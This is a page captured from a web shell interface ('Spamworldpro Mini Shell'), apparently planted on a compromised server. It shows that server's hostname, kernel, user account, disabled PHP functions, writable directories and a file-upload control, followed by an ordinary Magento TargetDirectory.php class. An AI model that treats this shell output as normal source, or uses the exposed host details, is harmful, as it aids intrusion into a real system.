Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/framework/Filesystem/Directory/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/framework/Filesystem/Directory/TargetDirectory.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Framework\Filesystem\Directory;

use Magento\Framework\Exception\FileSystemException;
use Magento\Framework\Filesystem;
use Magento\Framework\Filesystem\DriverPool;

/**
 * A target directory for remote filesystems.
 */
class TargetDirectory
{
    /**
     * @var Filesystem
     */
    private $filesystem;

    /**
     * @var string
     */
    private $driverCode;

    /**
     * @param Filesystem $filesystem
     * @param string $driverCode
     */
    public function __construct(Filesystem $filesystem, $driverCode = Filesystem\DriverPool::FILE)
    {
        $this->filesystem = $filesystem;
        $this->driverCode = $driverCode;
    }

    /**
     * Create an instance of directory with write permissions.
     *
     * @param string $directoryCode
     * @return WriteInterface
     * @throws FileSystemException
     */
    public function getDirectoryWrite(string $directoryCode): WriteInterface
    {
        return $this->filesystem->getDirectoryWrite($directoryCode, $this->driverCode);
    }

    /**
     * Create an instance of directory with read permissions.
     *
     * @param string $directoryCode
     * @return ReadInterface
     */
    public function getDirectoryRead(string $directoryCode): ReadInterface
    {
        return $this->filesystem->getDirectoryRead($directoryCode, $this->driverCode);
    }

    /**
     * Create an instance of directory with read permissions with file path.
     *
     * @param String $path
     * @param string $driverCode
     * @return ReadInterface
     */
    public function getDirectoryReadByPath(String $path, $driverCode = DriverPool::FILE): ReadInterface
    {
        return $this->filesystem->getDirectoryReadByPath($path, $driverCode);
    }
}

Spamworldpro Mini